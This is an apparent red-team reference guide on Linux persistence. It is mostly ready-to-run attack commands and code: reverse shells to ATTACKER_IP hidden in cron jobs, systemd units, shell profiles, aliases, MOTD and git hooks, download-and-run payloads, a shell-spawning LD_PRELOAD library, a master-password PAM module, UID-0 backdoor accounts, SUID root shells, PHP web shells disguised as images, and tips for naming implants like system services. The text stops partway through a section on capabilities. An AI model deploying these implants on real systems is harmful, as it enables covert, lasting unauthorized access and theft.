ᛉ Yggdrasil

Linux

Linux Persistence

15 Sep 2026 · 5,551 words · 25 min

Contents

A full operational reference covering every Linux persistence technique used in red team engagements and CTFs — from cron jobs to LD_PRELOAD, SSH backdoors, systemd, SUID, PAM, and more. Includes MITRE ATT&CK mappings and detection notes for each method.


1. What is Persistence?

PERSISTENCE = The ability to maintain access to a compromised system
even after reboots, log-offs, password changes, or
detection of one implant.

WHY IT MATTERS:
→ Re-exploitation is noisy and unreliable
→ Persistence = guaranteed foothold backup
→ Good ops use MULTIPLE methods (entropy / redundancy)

PERSISTENCE LEVELS:
─────────────────────────────────────────────────────────────
User-level → Works without root, survives only per-user sessions
System-level → Root required, survives all reboots, all users
Kernel-level → Deepest — kernel modules, rootkits, hardest to detect

GOLDEN RULE:
Plant persistence IMMEDIATELY after gaining access.
Plant MORE THAN ONE method — if one is burned, others survive.
Use DIFFERENT categories — don't use 3 cron jobs; mix methods.


2. MITRE ATT&CK Persistence Techniques (Linux)

Technique MITRE ID Requires Root
SSH Authorized Keys T1098.004 No
Cron Job T1053.003 No (user) / Yes (system)
Systemd Service T1543.002 Yes (system) / No (user)
Shell Profile Hijack T1546.004 No
SUID Binary T1548.001 Yes
New User Account T1136.001 Yes
/etc/passwd modify T1078.003 Yes
rc.local / init.d T1037.004 Yes
LD_PRELOAD T1574.006 Yes
PAM Module T1556.003 Yes
Kernel Module T1547.006 Yes
Web Shell T1505.003 No (web user)
Git Hook T1546 No
MOTD Script T1037 Yes
at Job T1053.001 No
Docker Escape T1611 No (if in docker group)

3. SSH Key Backdoor

Most reliable persistence method. Survives reboots, shell changes, password changes.

# ==========================================
# METHOD 1 — Add your public key to target user
# ==========================================

# Step 1: Generate key pair on attacker
ssh-keygen -t rsa -b 4096 -f backdoor_key -N ""
# → backdoor_key (private key — attacker keeps this)
# → backdoor_key.pub (public key — plant on target)

# Step 2: Add public key to target
cat backdoor_key.pub >> /home/user/.ssh/authorized_keys

# If .ssh dir doesn't exist:
mkdir -p /home/user/.ssh
chmod 700 /home/user/.ssh
echo "ssh-rsa AAAA..." >> /home/user/.ssh/authorized_keys
chmod 600 /home/user/.ssh/authorized_keys
chown user:user /home/user/.ssh/authorized_keys

# Step 3: Connect back (attacker)
ssh -i backdoor_key user@TARGET_IP

# ==========================================
# METHOD 2 — Root SSH backdoor
# ==========================================

mkdir -p /root/.ssh
echo "ssh-rsa AAAA..." >> /root/.ssh/authorized_keys
chmod 600 /root/.ssh/authorized_keys

# Connect:
ssh -i backdoor_key root@TARGET_IP

# ==========================================
# METHOD 3 — Enable root SSH login (if disabled)
# ==========================================

# Edit sshd_config
sed -i 's/#PermitRootLogin.*/PermitRootLogin yes/' /etc/ssh/sshd_config
sed -i 's/PermitRootLogin no/PermitRootLogin yes/' /etc/ssh/sshd_config

# Enable password auth (if key-only mode)
sed -i 's/PasswordAuthentication no/PasswordAuthentication yes/' /etc/ssh/sshd_config

# Restart SSH
systemctl restart sshd
service ssh restart

# ==========================================
# METHOD 4 — Alternate SSH port (stealth)
# ==========================================

# Add a second SSH listener on port 2222
echo "Port 2222" >> /etc/ssh/sshd_config
systemctl restart sshd

# Connect:
ssh -i backdoor_key -p 2222 user@TARGET_IP

# ==========================================
# METHOD 5 — SSH config on attacker (convenience)
# ==========================================

# ~/.ssh/config
Host target
    HostName TARGET_IP
    User root
    IdentityFile ~/.ssh/backdoor_key
    Port 22

# Connect simply:
ssh target

# ==========================================
# STEALTHY: Hide key in authorized_keys
# ==========================================

# Prefix key with options to restrict what it can do
# (looks less suspicious in audits)
command="/bin/bash",no-port-forwarding,no-X11-forwarding ssh-rsa AAAA...

# OR add blank comments / label it as legitimate
ssh-rsa AAAA... monitoring@system-backup

4. Cron Jobs

Scheduled execution at regular intervals. Works at user and root level.

# ==========================================
# CRON SYNTAX REMINDER
# ==========================================

# * * * * * command
# │ │ │ │ │
# │ │ │ │ └── Day of week (0-7, 0/7=Sunday)
# │ │ │ └──── Month (1-12)
# │ │ └────── Day of month (1-31)
# │ └──────── Hour (0-23)
# └────────── Minute (0-59)

# Special strings:
# @reboot   = Run once at startup
# @hourly   = Run every hour (0 * * * *)
# @daily    = Run every day  (0 0 * * *)
# @weekly   = Run every week (0 0 * * 0)
# @midnight = Same as @daily

# ==========================================
# METHOD 1 — User crontab (no root required)
# ==========================================

# Edit current user's crontab
crontab -e

# Add reverse shell every minute
* * * * * bash -c 'bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1'

# Run at reboot
@reboot bash -c 'bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1'

# Download and run payload every hour
@hourly curl -s http://ATTACKER_IP:8080/payload.sh | bash

# One-liner (non-interactive add)
(crontab -l 2>/dev/null; echo "* * * * * bash -c 'bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1'") | crontab -

# ==========================================
# METHOD 2 — /etc/cron.d/ (root — system-wide)
# ==========================================

# Create file in /etc/cron.d/ (must specify user!)
echo "* * * * * root bash -c 'bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1'" > /etc/cron.d/systemd-update

# Reboot persistence as root
echo "@reboot root /tmp/.hidden/backdoor.sh" > /etc/cron.d/freedesktop-resolved

# ==========================================
# METHOD 3 — /etc/cron.hourly / daily / weekly / monthly
# ==========================================

# Drop script in hourly cron dir (root required)
cat > /etc/cron.hourly/update-check << 'EOF'
#!/bin/bash
bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1
EOF
chmod +x /etc/cron.hourly/update-check

# ==========================================
# METHOD 4 — /var/spool/cron/crontabs (direct edit)
# ==========================================

# Edit root's crontab directly
echo "* * * * * bash -c 'bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1'" >> /var/spool/cron/crontabs/root

# ==========================================
# STEALTH TIPS
# ==========================================

# Use benign-looking job names
/etc/cron.d/apt-daily-upgrade
/etc/cron.d/systemd-resolved
/etc/cron.d/dbus-org-freedesktop

# Use sleep/background to avoid timing detection
* * * * * root sleep 30 && nohup bash -c 'bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1' &>/dev/null &

# Download-and-run (payload isn't stored on disk!)
* * * * * root curl -s http://ATTACKER_IP/p | bash

# ==========================================
# VERIFY
# ==========================================

crontab -l                         # List current user's cron
crontab -l -u root                 # List root's cron (as root)
cat /etc/cron.d/*                  # System-wide cron jobs
ls -la /etc/cron.hourly /etc/cron.daily
cat /var/spool/cron/crontabs/*

5. Systemd Services & Timers

Root-level. Survives reboots. Blends in with legitimate services perfectly.

# ==========================================
# METHOD 1 — Systemd Service (Root)
# ==========================================

# Create service file (use benign-looking name)
cat > /etc/systemd/system/dbus-org.freedesktop.resolved.service << 'EOF'
[Unit]
Description=Network Name Resolution
After=network.target

[Service]
Type=simple
ExecStart=/usr/bin/bash -c 'bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1'
Restart=always
RestartSec=60

[Install]
WantedBy=multi-user.target
EOF

# Enable and start
systemctl daemon-reload
systemctl enable dbus-org.freedesktop.resolved.service
systemctl start dbus-org.freedesktop.resolved.service

# ==========================================
# METHOD 2 — Systemd Timer (Root)
# ==========================================

# Timer triggers service at intervals (like cron but via systemd)

# Create the service
cat > /etc/systemd/system/systemd-net-resolve.service << 'EOF'
[Unit]
Description=Network Resolver

[Service]
Type=oneshot
ExecStart=/bin/bash -c 'bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1'
EOF

# Create the timer
cat > /etc/systemd/system/systemd-net-resolve.timer << 'EOF'
[Unit]
Description=Network Resolver Timer

[Timer]
OnCalendar=*:*:00       # Every minute
Persistent=true

[Install]
WantedBy=timers.target
EOF

# Enable timer
systemctl daemon-reload
systemctl enable systemd-net-resolve.timer
systemctl start systemd-net-resolve.timer

# ==========================================
# METHOD 3 — User-level Systemd (No Root!)
# ==========================================

# Works as ANY user — survives login/logoff
mkdir -p ~/.config/systemd/user/

# Create user service
cat > ~/.config/systemd/user/dbus-daemon.service << 'EOF'
[Unit]
Description=DBus Message Daemon

[Service]
Type=simple
ExecStart=/bin/bash -c 'bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1'
Restart=always
RestartSec=60

[Install]
WantedBy=default.target
EOF

# Enable user service
systemctl --user daemon-reload
systemctl --user enable dbus-daemon.service
systemctl --user start dbus-daemon.service

# Make user services survive logout (linger):
loginctl enable-linger $USER

# ==========================================
# METHOD 4 — Systemd Generator (Very Stealthy)
# ==========================================

# Generators run EARLY in boot — before most services
# Location: /lib/systemd/system-generators/

cat > /lib/systemd/system-generators/systemd-network-check << 'EOF'
#!/bin/bash
bash -c 'bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1' &
EOF
chmod +x /lib/systemd/system-generators/systemd-network-check

# ==========================================
# STEALTH: Good service names to blend in
# ==========================================

# dbus-org.freedesktop.resolved.service   (mimics DNS resolver)
# systemd-network-online.service          (mimics network service)
# apt-daily-upgrade.service               (mimics apt)
# NetworkManager-dispatcher.service       (mimics NM)

# ==========================================
# VERIFY & STATUS
# ==========================================

systemctl list-units --all | grep enabled
systemctl status <service-name>
systemctl list-timers
ls /etc/systemd/system/
ls ~/.config/systemd/user/

6. Shell Profile Hijacking

User-level. No root needed. Executes on every shell open / user login.

# ==========================================
# WHICH FILE DOES WHAT
# ==========================================

# ~/.bashrc          → Runs on every new INTERACTIVE bash shell
# ~/.bash_profile    → Runs on LOGIN shell (SSH login, TTY login)
# ~/.profile         → Runs on login if .bash_profile doesn't exist
# ~/.zshrc           → ZSH equivalent of .bashrc
# ~/.zprofile        → ZSH login shell
# ~/.bash_logout     → Runs when user logs OUT
# /etc/profile       → System-wide login shell (root required)
# /etc/bash.bashrc   → System-wide interactive shells (root required)
# /etc/profile.d/*.sh → Drop-in scripts, run for ALL users (root)

# ==========================================
# METHOD 1 — .bashrc (user, every shell)
# ==========================================

echo 'bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1' >> ~/.bashrc

# Background it so it doesn't block shell open
echo 'nohup bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1 &' >> ~/.bashrc

# Download and run (payload not on disk)
echo 'curl -s http://ATTACKER_IP/shell.sh | bash &' >> ~/.bashrc

# ==========================================
# METHOD 2 — .bash_profile (login shell)
# ==========================================

echo 'nohup bash -c "bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1" &>/dev/null &' >> ~/.bash_profile

# ==========================================
# METHOD 3 — .bash_logout (runs on exit!)
# ==========================================

echo 'nohup bash -c "bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1" &>/dev/null &' >> ~/.bash_logout

# ==========================================
# METHOD 4 — /etc/profile.d/ (root — ALL users)
# ==========================================

# Any .sh file here runs for ALL users at login
cat > /etc/profile.d/umask.sh << 'EOF'
#!/bin/bash
nohup bash -c 'bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1' &>/dev/null &
EOF

# ==========================================
# METHOD 5 — /etc/bash.bashrc (root — all interactive shells)
# ==========================================

echo 'nohup bash -c "bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1" &>/dev/null &' >> /etc/bash.bashrc

# ==========================================
# METHOD 6 — Alias Hijacking (stealthy!)
# ==========================================

# Adds to .bashrc — runs payload every time user types 'ls'
echo 'alias ls="bash -c '"'"'bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1'"'"' & ls"' >> ~/.bashrc

# Or hijack sudo:
echo 'alias sudo="bash -c '"'"'bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1'"'"' & sudo"' >> ~/.bashrc

# ==========================================
# METHOD 7 — PATH Hijacking
# ==========================================

# Place malicious binary in directory before /usr/bin
mkdir -p ~/.local/bin
cat > ~/.local/bin/sudo << 'EOF'
#!/bin/bash
nohup bash -c 'bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1' &>/dev/null &
/usr/bin/sudo "$@"     # Pass through to real sudo
EOF
chmod +x ~/.local/bin/sudo

# Add early to PATH in .bashrc
echo 'export PATH=~/.local/bin:$PATH' >> ~/.bashrc

7. User & Password Manipulation

Root required. Adding users or modifying passwords for backdoor access.

# ==========================================
# METHOD 1 — Add new root user
# ==========================================

# Add user with root UID=0 (same as root!)
useradd -o -u 0 -g 0 -M -d /root -s /bin/bash backdoor
echo 'backdoor:Password123!' | chpasswd

# OR: manually add to /etc/passwd and /etc/shadow
# /etc/passwd entry (UID=0 = root!)
echo 'backdoor:x:0:0::/root:/bin/bash' >> /etc/passwd

# Generate password hash
openssl passwd -6 'Password123!'            # SHA-512 hash
python3 -c "import crypt;print(crypt.crypt('Password123!',crypt.mksalt(crypt.METHOD_SHA512)))"

# Add to /etc/shadow
echo 'backdoor:$6$SALT$HASH:19000:0:99999:7:::' >> /etc/shadow

# ==========================================
# METHOD 2 — Add user to sudo / wheel group
# ==========================================

usermod -aG sudo backdoor     # Debian/Ubuntu
usermod -aG wheel backdoor    # RHEL/CentOS/Fedora

# Or edit sudoers directly
echo 'backdoor ALL=(ALL) NOPASSWD:ALL' >> /etc/sudoers
echo 'backdoor ALL=(ALL) NOPASSWD:ALL' > /etc/sudoers.d/backdoor

# ==========================================
# METHOD 3 — Modify existing user password
# ==========================================

echo 'root:Password123!' | chpasswd
passwd root                          # Interactive

# ==========================================
# METHOD 4 — Add SSH key for new user
# ==========================================

useradd -m -s /bin/bash svcuser
mkdir -p /home/svcuser/.ssh
echo "ssh-rsa AAAA..." > /home/svcuser/.ssh/authorized_keys
chmod 700 /home/svcuser/.ssh
chmod 600 /home/svcuser/.ssh/authorized_keys
chown -R svcuser:svcuser /home/svcuser/.ssh
usermod -aG sudo svcuser

# ==========================================
# METHOD 5 — Give existing user a shell
# ==========================================

# www-data, nobody, daemon — give them /bin/bash
usermod -s /bin/bash www-data
echo 'www-data:Password123!' | chpasswd

# ==========================================
# STEALTH USER NAMING
# ==========================================

# Blend in with system usernames:
# syslog, sysmon, svchost, daemon, www-data, mail, news, proxy
# messagebus, systemd-resolve, _apt, landscape, pollinate
useradd -M -s /bin/bash -d /var/lib/syslog syslog2

8. SUID / SGID Backdoors

Root required to set SUID bit. Once set, anyone can run binary as root.

# ==========================================
# WHAT IS SUID?
# ==========================================

# SUID = Set User ID bit
# When set on a binary, it runs with the FILE OWNER's privileges
# If file is owned by root + has SUID = runs as root regardless of caller

# ==========================================
# METHOD 1 — SUID on bash copy
# ==========================================

# Copy bash and set SUID bit
cp /bin/bash /tmp/.bash
chmod +s /tmp/.bash         # Set SUID
ls -la /tmp/.bash           # Should show -rwsr-xr-x

# Now any user can get root shell:
/tmp/.bash -p               # -p = privileged (keeps UID)

# ==========================================
# METHOD 2 — SUID on python / perl / ruby
# ==========================================

# Set SUID on python3
which python3
chmod +s /usr/bin/python3

# Any user now gets root:
python3 -c "import os; os.execl('/bin/bash','bash','-p')"

# Set SUID on find
chmod +s /usr/bin/find
# Any user:
find . -exec /bin/bash -p \; -quit

# Set SUID on vim
chmod +s /usr/bin/vim
# Any user:
vim -c ':py3 import os; os.execl("/bin/bash","bash","-p")'

# Set SUID on cp (sneaky — lets anyone overwrite /etc/passwd!)
chmod +s /bin/cp
# Any user:
# openssl passwd -1 hacked → get hash
# cp /tmp/evil_passwd /etc/passwd

# ==========================================
# METHOD 3 — Compile custom SUID binary
# ==========================================

# On attacker, write setuid_shell.c:
cat > /tmp/setuid_shell.c << 'EOF'
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
int main() {
    setuid(0);
    setgid(0);
    system("/bin/bash -p");
    return 0;
}
EOF

# Compile and set SUID
gcc -o /usr/local/bin/sysutil /tmp/setuid_shell.c
chmod +s /usr/local/bin/sysutil
rm /tmp/setuid_shell.c

# Any user runs: sysutil → gets root shell

# ==========================================
# VERIFY SUID BINARIES
# ==========================================

# Find all SUID binaries
find / -perm -4000 -type f 2>/dev/null
find / -perm -u=s -type f 2>/dev/null

# Find SGID binaries
find / -perm -2000 -type f 2>/dev/null

9. SysV Init (init.d / rc.local)

Root required. Older init system — still present on many systems.

# ==========================================
# METHOD 1 — /etc/rc.local (classic)
# ==========================================

# rc.local runs at boot as root
# File must be executable and end with 'exit 0'

# Check if it exists and is enabled
ls -la /etc/rc.local
cat /etc/rc.local
systemctl status rc-local

# Add persistence before 'exit 0'
cat >> /etc/rc.local << 'EOF'
nohup bash -c 'bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1' &>/dev/null &
exit 0
EOF
chmod +x /etc/rc.local

# If rc-local.service doesn't exist (newer Debian/Ubuntu):
cat > /etc/systemd/system/rc-local.service << 'EOF'
[Unit]
Description=RC Local Compatibility
After=network.target

[Service]
Type=forking
ExecStart=/etc/rc.local start
TimeoutSec=0
RemainAfterExit=yes

[Install]
WantedBy=multi-user.target
EOF
systemctl enable rc-local
systemctl start rc-local

# ==========================================
# METHOD 2 — /etc/init.d/ script
# ==========================================

cat > /etc/init.d/networking-helper << 'EOF'
#!/bin/bash
### BEGIN INIT INFO
# Provides:          networking-helper
# Required-Start:    $remote_fs $syslog
# Required-Stop:     $remote_fs $syslog
# Default-Start:     2 3 4 5
# Default-Stop:      0 1 6
# Short-Description: Network helper service
### END INIT INFO

nohup bash -c 'bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1' &>/dev/null &
EOF
chmod +x /etc/init.d/networking-helper
update-rc.d networking-helper defaults         # Debian/Ubuntu
chkconfig --add networking-helper              # RHEL/CentOS

# ==========================================
# METHOD 3 — /etc/rc?.d/ symlinks
# ==========================================

# rc runlevel directories: rc0.d, rc1.d ... rc6.d
# S = Start script, K = Kill script, number = priority

ln -s /etc/init.d/networking-helper /etc/rc2.d/S99networking-helper
ln -s /etc/init.d/networking-helper /etc/rc3.d/S99networking-helper

10. MOTD Persistence

Root required. Scripts run every time any user logs in via SSH.

# ==========================================
# WHAT IS MOTD?
# ==========================================

# MOTD = Message of the Day
# Scripts in /etc/update-motd.d/ run as root every SSH login!
# Perfect for silent background execution on each login.

# ==========================================
# METHOD 1 — Drop script in motd.d
# ==========================================

cat > /etc/update-motd.d/98-network-check << 'EOF'
#!/bin/bash
nohup setsid bash -c 'bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1' &>/dev/null &
disown
EOF
chmod +x /etc/update-motd.d/98-network-check

# Good filenames to blend in:
# 00-header       (already exists — append to it!)
# 10-sysinfo
# 50-motd-news
# 95-hwe-eol
# 98-reboot-required
# 99-network-check

# ==========================================
# METHOD 2 — Append to existing MOTD script
# ==========================================

echo 'nohup bash -c "bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1" &>/dev/null &' >> /etc/update-motd.d/00-header

# ==========================================
# VERIFY
# ==========================================
ls -la /etc/update-motd.d/
cat /etc/update-motd.d/98-network-check

11. LD_PRELOAD / Dynamic Linker Hijack

Root required. Advanced — library loads before every program. Deep persistence.

# ==========================================
# HOW LD_PRELOAD WORKS
# ==========================================

# LD_PRELOAD = env variable that forces a shared library to load
# BEFORE any other library — including libc!
# /etc/ld.so.preload = system-wide version (root required)
# → Your code runs every time ANY binary is executed!

# ==========================================
# METHOD 1 — /etc/ld.so.preload
# ==========================================

# Step 1: Write the malicious shared library (preload.c)
cat > /tmp/preload.c << 'EOF'
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

void __attribute__((constructor)) init() {
    // This runs automatically when library is loaded
    unsetenv("LD_PRELOAD");    // Clear trace
    if (fork() == 0) {
        // Child process — spawn reverse shell
        system("bash -c 'bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1'");
        exit(0);
    }
}
EOF

# Step 2: Compile as shared library
gcc -fPIC -shared -nostartfiles -o /lib/x86_64-linux-gnu/libutil-preload.so /tmp/preload.c

# Step 3: Add to ld.so.preload
echo '/lib/x86_64-linux-gnu/libutil-preload.so' >> /etc/ld.so.preload

# Now: every command run by ANY user triggers the payload!
# Clean up source:
rm /tmp/preload.c

# ==========================================
# METHOD 2 — User-level LD_PRELOAD via shell profile
# ==========================================

# (No root needed — affects only that user)
mkdir -p ~/.local/lib
# Compile .so file as above → place in ~/.local/lib/

echo 'export LD_PRELOAD=~/.local/lib/libutil.so' >> ~/.bashrc

# ==========================================
# METHOD 3 — /etc/ld.so.conf.d/ (library path hijack)
# ==========================================

# Add attacker-controlled directory to library search path
echo '/tmp/.lib' > /etc/ld.so.conf.d/x86_64-linux-gnu.conf
ldconfig
# Place trojanized library in /tmp/.lib with same name as real lib

# ==========================================
# VERIFY
# ==========================================
cat /etc/ld.so.preload
ldconfig -p | grep preload

12. PAM Backdoor

Root required. Very stealthy — lets you log in with a master password regardless of actual user password.

# ==========================================
# HOW PAM WORKS
# ==========================================

# PAM = Pluggable Authentication Modules
# Controls all authentication: SSH, sudo, su, login, etc.
# PAM config files: /etc/pam.d/
# PAM modules: /lib/x86_64-linux-gnu/security/

# ==========================================
# METHOD 1 — pam_exec.so (run script on auth)
# ==========================================

# Add to /etc/pam.d/sshd (at the bottom of auth section):
echo 'auth optional pam_exec.so /tmp/.backdoor.sh' >> /etc/pam.d/sshd

cat > /tmp/.backdoor.sh << 'EOF'
#!/bin/bash
nohup bash -c 'bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1' &>/dev/null &
EOF
chmod +x /tmp/.backdoor.sh

# → Now every SSH auth attempt triggers the backdoor!

# ==========================================
# METHOD 2 — Compile malicious PAM module
# ==========================================

# Write evil PAM module (pam_backdoor.c):
cat > /tmp/pam_backdoor.c << 'EOF'
#include <security/pam_modules.h>
#include <stdlib.h>

PAM_EXTERN int pam_sm_authenticate(pam_handle_t *pamh, int flags, int argc, const char **argv) {
    const char *password;
    pam_get_authtok(pamh, PAM_AUTHTOK, &password, NULL);
    // If master password matches — ALWAYS succeed
    if (password && strcmp(password, "master_backdoor_pass") == 0) {
        return PAM_SUCCESS;
    }
    return PAM_AUTH_ERR;
}
PAM_EXTERN int pam_sm_setcred(pam_handle_t *pamh, int flags, int argc, const char **argv) {
    return PAM_SUCCESS;
}
EOF

# Compile
gcc -fPIC -shared -o /lib/x86_64-linux-gnu/security/pam_update.so /tmp/pam_backdoor.c -lpam

# Add to PAM sshd config (before other auth modules):
sed -i '1s/^/auth sufficient pam_update.so\n/' /etc/pam.d/sshd
sed -i '1s/^/auth sufficient pam_update.so\n/' /etc/pam.d/sudo
sed -i '1s/^/auth sufficient pam_update.so\n/' /etc/pam.d/su

# Now: ANY user can log in / use sudo with "master_backdoor_pass"!

13. Web Shell Persistence

No root required (web server user). Gives HTTP-accessible RCE forever.

# ==========================================
# FIND WEB ROOTS
# ==========================================

find / -name "index.php" -o -name "index.html" 2>/dev/null | head -20
ls /var/www/html/
ls /srv/http/
ls /usr/share/nginx/html/
ls /var/www/
grep -r "DocumentRoot" /etc/apache2/ /etc/nginx/ 2>/dev/null

# ==========================================
# METHOD 1 — PHP one-liner
# ==========================================

echo '<?php system($_GET["cmd"]); ?>' > /var/www/html/img_resize.php
echo '<?php eval($_POST["cmd"]); ?>' > /var/www/html/wp-config.bak.php
echo '<?php passthru($_REQUEST["c"]); ?>' > /var/www/html/update.php

# ==========================================
# METHOD 2 — Fake image (bypass mime checks)
# ==========================================

# Combine PHP with GIF header (file looks like image!)
echo -e 'GIF89a\n<?php system($_GET["cmd"]); ?>' > /var/www/html/uploads/profile.php
# Access: http://target.com/uploads/profile.php?cmd=id

# ==========================================
# METHOD 3 — .htaccess (add PHP handler for .jpg!)
# ==========================================

echo 'AddType application/x-httpd-php .jpg .png .gif .txt' > /var/www/html/uploads/.htaccess

# Now drop PHP code in a .jpg file!
echo '<?php system($_GET["cmd"]); ?>' > /var/www/html/uploads/avatar.jpg

# ==========================================
# METHOD 4 — Weevely (steganographic shell)
# ==========================================

# On attacker:
weevely generate StrongPass123 /tmp/shell.php
# Upload shell.php to web root
# Connect:
weevely http://target.com/shell.php StrongPass123

# ==========================================
# STEALTH WEBSHELL NAMES
# ==========================================

# Blend in with WordPress:
/var/www/html/wp-includes/class-wp-xmlrpc.php (append to end)
/var/www/html/wp-content/uploads/2024/01/thumb.php

# Blend in with CMS:
/var/www/html/includes/db-config.php
/var/www/html/assets/js/common.php
/var/www/html/images/ico.php

14. Crontab vs /etc/cron.d/ vs at

# ==========================================
# at JOBS (one-time or delayed execution)
# ==========================================

# Schedule a job for 5 minutes from now
echo 'bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1' | at now + 5 minutes

# Specific time
echo '/tmp/backdoor.sh' | at 23:59

# List pending at jobs
atq

# View job content
at -c <job_id>

# ==========================================
# QUICK COMPARISON TABLE
# ==========================================

# crontab -e        → User's cron, stored /var/spool/cron/crontabs/
# /etc/cron.d/      → Root system cron, must specify user in job line
# /etc/cron.hourly/ → Scripts run hourly by run-parts
# /etc/cron.daily/  → Scripts run daily
# at                → One-time delayed jobs

# ==========================================
# ANACRON (runs missed jobs after downtime)
# ==========================================

# /etc/anacrontab — jobs that must run even if system was off
echo '1 5 backdoor /tmp/.update.sh' >> /etc/anacrontab
# Field: period(days) delay(min) job-id command

15. Kernel Module / Rootkit

Root required. Deepest persistence — lives in kernel space. Very hard to detect.

# ==========================================
# CONCEPT
# ==========================================

# Kernel modules (.ko files) are loaded into the kernel
# A malicious module can:
# → Hide files, processes, network connections
# → Hook system calls
# → Give persistent backdoor at kernel level
# → Survive all userspace detection tools

# ==========================================
# SIMPLE MALICIOUS MODULE (example structure)
# ==========================================

# backdoor.c (conceptual — requires kernel dev knowledge):
# #include <linux/module.h>
# #include <linux/kernel.h>
# static int __init backdoor_init(void) {
#     printk(KERN_INFO "Module loaded\n");
#     // Create hidden process, bind shell, hook syscalls...
#     return 0;
# }
# static void __exit backdoor_exit(void) { }
# module_init(backdoor_init);
# module_exit(backdoor_exit);
# MODULE_LICENSE("GPL");

# Compile
# make -C /lib/modules/$(uname -r)/build M=$PWD modules

# Load module
insmod backdoor.ko

# Make persistent (load at boot)
cp backdoor.ko /lib/modules/$(uname -r)/extra/
echo 'backdoor' >> /etc/modules                # Load name at boot
depmod -a

# ==========================================
# CHECK EXISTING MODULES (look suspicious)
# ==========================================

lsmod                        # List loaded modules
modinfo <module_name>        # Info about a module
ls /lib/modules/$(uname -r)/

# ==========================================
# KNOWN ROOTKIT FRAMEWORKS (for reference)
# ==========================================

# Diamorphine  — Linux LKM rootkit (hides PIDs, files, modules)
# Reptile      — Linux LKM rootkit with reverse shell
# Azazel       — LD_PRELOAD based userland rootkit
# libprocesshider — Hides processes via LD_PRELOAD

16. Docker Container Persistence

No root required if user is in docker group. docker group = root.

# ==========================================
# CHECK IF IN DOCKER GROUP
# ==========================================

id
groups
# If 'docker' appears → you have root-equivalent!

# ==========================================
# METHOD 1 — Mount host filesystem via Docker
# ==========================================

# Mount entire host / into container
docker run -v /:/mnt/host -it alpine chroot /mnt/host /bin/bash
# → You now have root on the HOST filesystem!

# From this shell — add SSH key, cron job, new user, etc.
echo "ssh-rsa AAAA..." >> /mnt/host/root/.ssh/authorized_keys
echo "* * * * * root bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1" >> /mnt/host/etc/cron.d/backdoor

# ==========================================
# METHOD 2 — Privileged container breakout
# ==========================================

docker run --privileged -it alpine
# Inside container:
mkdir /mnt/host
mount /dev/sda1 /mnt/host    # Mount host disk
chroot /mnt/host             # Chroot into host

# ==========================================
# METHOD 3 — Docker socket access
# ==========================================

# If you can read /var/run/docker.sock → full Docker control
ls -la /var/run/docker.sock

# Use curl + docker socket:
curl -s --unix-socket /var/run/docker.sock http://localhost/images/json

# Create privileged container via socket:
curl -s --unix-socket /var/run/docker.sock -X POST \
    http://localhost/containers/create \
    -H "Content-Type: application/json" \
    -d '{"Image":"alpine","Cmd":["/bin/sh","-c","chroot /mnt/host /bin/bash"],"Binds":["/:/mnt/host"],"Privileged":true}'

# ==========================================
# METHOD 4 — Persistent malicious Docker image
# ==========================================

# Trojanize an image to add persistence
cat > Dockerfile << 'EOF'
FROM ubuntu:22.04
RUN echo "* * * * * root bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1" >> /etc/cron.d/backdoor
EOF
docker build -t ubuntu:22.04 .   # Overwrite the legit image tag!

17. Git Hook Persistence

No root required. Triggers on git operations — common in dev environments.

# ==========================================
# HOW GIT HOOKS WORK
# ==========================================

# Git hooks are scripts that run automatically
# at specific git events (commit, push, merge...)
# Located: <repo>/.git/hooks/

# Useful hooks for persistence:
# pre-commit    → Runs before every git commit
# post-commit   → Runs after every git commit
# pre-push      → Runs before every git push
# post-merge    → Runs after every git pull/merge

# ==========================================
# METHOD 1 — pre-commit hook in a repo
# ==========================================

# Find git repos
find / -name ".git" -type d 2>/dev/null

# Add hook (runs every time developer commits!)
cat > /home/dev/project/.git/hooks/pre-commit << 'EOF'
#!/bin/bash
nohup bash -c 'bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1' &>/dev/null &
exit 0    # Must exit 0 or commit fails (suspicious!)
EOF
chmod +x /home/dev/project/.git/hooks/pre-commit

# ==========================================
# METHOD 2 — Global git hooks (affects ALL repos)
# ==========================================

# Set global hooksPath to attacker-controlled directory
git config --global core.hooksPath /tmp/.hooks
mkdir -p /tmp/.hooks

cat > /tmp/.hooks/pre-commit << 'EOF'
#!/bin/bash
nohup bash -c 'bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1' &>/dev/null &
exit 0
EOF
chmod +x /tmp/.hooks/pre-commit

18. Privileged Capabilities Backdoor

Finer-grained than SUID. Grant specific capabilities to binaries.

# ==========================================
# LINUX CAPABILITIES (bypass full SUID)
# ==========================================

# Capabilities split root's power into pieces:
# cap_net_bind_service → bind ports < 1024
# cap_setuid           → can change UID to 0 (= root!)
# cap_sys_admin        → broad admin capabilities
# cap_dac_override     → bypass file read/write permissions
# cap_fowner           → bypass ownership checks

# ==========================================
# METHOD 1 — cap_setuid on python
# ==========================================

